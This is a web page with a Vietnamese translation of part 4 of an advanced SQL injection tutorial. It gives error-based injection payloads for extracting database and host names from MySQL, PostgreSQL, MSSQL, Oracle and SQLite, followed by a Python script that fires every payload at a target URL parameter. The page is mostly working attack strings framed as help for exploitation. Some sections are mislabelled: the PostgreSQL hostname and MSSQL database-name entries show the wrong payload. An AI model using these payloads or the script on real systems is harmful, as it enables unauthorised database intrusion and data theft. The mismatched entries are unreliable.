Notification texts go here Contact Us Buy Now!

[Bản dịch] Kỹ thuật SQL Injection nâng cao - Phần 4

Table of Contents


Trích xuất tên cơ sở dữ liệu và tên máy chủ bằng cách sử dụng lỗi bắt buộc

Với các kỹ thuật tiêm SQL tiên tiến dựa trên lỗi này, bạn có thể trích xuất thông tin quan trọng như tên cơ sở dữ liệu và tên máy chủ, có thể hỗ trợ thêm cho nỗ lực khai thác của bạn.

MySQL

Trích xuất tên cơ sở dữ liệu
  • Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu.
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
Trích xuất tên máy chủ
  • Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên máy chủ.
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --

PostgreSQL

Trích xuất tên cơ sở dữ liệu
  • Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu hiện tại.
' AND 1=CAST((SELECT current_database()) AS INT) --
Trích xuất tên máy chủ

PostgreSQL không trực tiếp cung cấp hàm cho tên máy chủ, nhưng bạn có thể sử dụng các truy vấn siêu dữ liệu khác hoặc các tiện ích mở rộng tích hợp như inet_server_addr.
'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --

MSSQL

Trích xuất tên cơ sở dữ liệu
  • Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu hiện tại.
'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --

Oracle

Trích xuất tên cơ sở dữ liệu
  • Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu hiện tại.
 ' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name FROM dual) AS INT) --
Trích xuất tên máy chủ
  • Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên máy chủ.
' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) --

SQLite

Trích xuất tên cơ sở dữ liệu
  • SQLite sử dụng một cơ sở dữ liệu duy nhất cho mỗi tệp, nhưng bạn có thể buộc lỗi tiết lộ thông tin liên quan đến cơ sở dữ liệu.
' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS INT) --
Trích xuất tên máy chủ
  • SQLite không có tên máy chủ vì nó là cơ sở dữ liệu dựa trên tệp. Tuy nhiên, bạn có thể suy ra đường dẫn tệp có thể cung cấp manh mối.
' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT) --
Python Script để tự động hóa quy trình
import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # MySQL
    "' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ",
    "' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ",
    # PostgreSQL
    "' AND 1=CAST((SELECT current_database()) AS INT) -- ",
    "' AND 1=CAST((SELECT inet_server_addr()) AS INT) -- ",
    # MSSQL
    "; SELECT 1 WHERE 1=CAST(DB_NAME() AS INT) -- ",
    "; SELECT 1 WHERE 1=CAST(@@servername AS INT) -- ",
    # Oracle
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name FROM dual) AS INT) -- ",
    "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) -- ",
    # SQLite
    "' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS INT) -- ",
    "' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT) -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

Hết Phần 4

Phần 1 tại đâyPhần 2 tại đây | Phần 3 tại đây | Phần 5 tại đây

إرسال تعليق

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.